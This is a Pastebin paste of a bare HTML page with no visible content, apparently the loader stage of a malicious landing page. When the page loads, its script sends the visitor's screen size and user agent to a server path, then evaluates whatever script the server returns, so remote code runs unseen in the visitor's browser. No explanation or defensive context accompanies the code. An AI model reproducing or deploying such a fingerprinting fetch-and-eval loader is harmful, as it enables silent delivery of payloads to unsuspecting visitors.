Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html>
- <head>
- <meta charset='utf-8'>
- <title></title>
- <script type='text/javascript'>
- <!--
- function getXmlHttp() {
- var xmlhttp;
- try {
- xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
- } catch (e) {
- try {
- xmlhttp = new ActiveXObject('Microsoft.XMLHTTP');
- } catch (E) {
- xmlhttp = false;
- }
- }
- if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
- xmlhttp = new XMLHttpRequest();
- }
- return xmlhttp;
- }
- function getParams() {
- return 'h=' + encodeURIComponent(screen.height) + '&w=' + encodeURIComponent(screen.width) + '&ua=' + encodeURIComponent(navigator.userAgent);
- }
- function getUrl() {
- return '/Documents/docs.php';
- }
- function stat() {
- var req = getXmlHttp();
- req.onreadystatechange = function() {
- if (req.readyState == 4) {
- if(req.status == 200) {
- document.body.innerHTML = req.responseText;
- var myScripts = document.body.getElementsByTagName('script');
- if (myScripts.length > 0) {
- eval(myScripts[myScripts.length-1].innerHTML);
- }
- }
- }
- };
- var params = getParams();
- req.open('POST', getUrl(), true);
- req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
- req.send(params);
- }
- //-->
- </script>
- </head>
- <body onload='stat();'>
- </body>
- </html>
Add Comment
Please, Sign In to add comment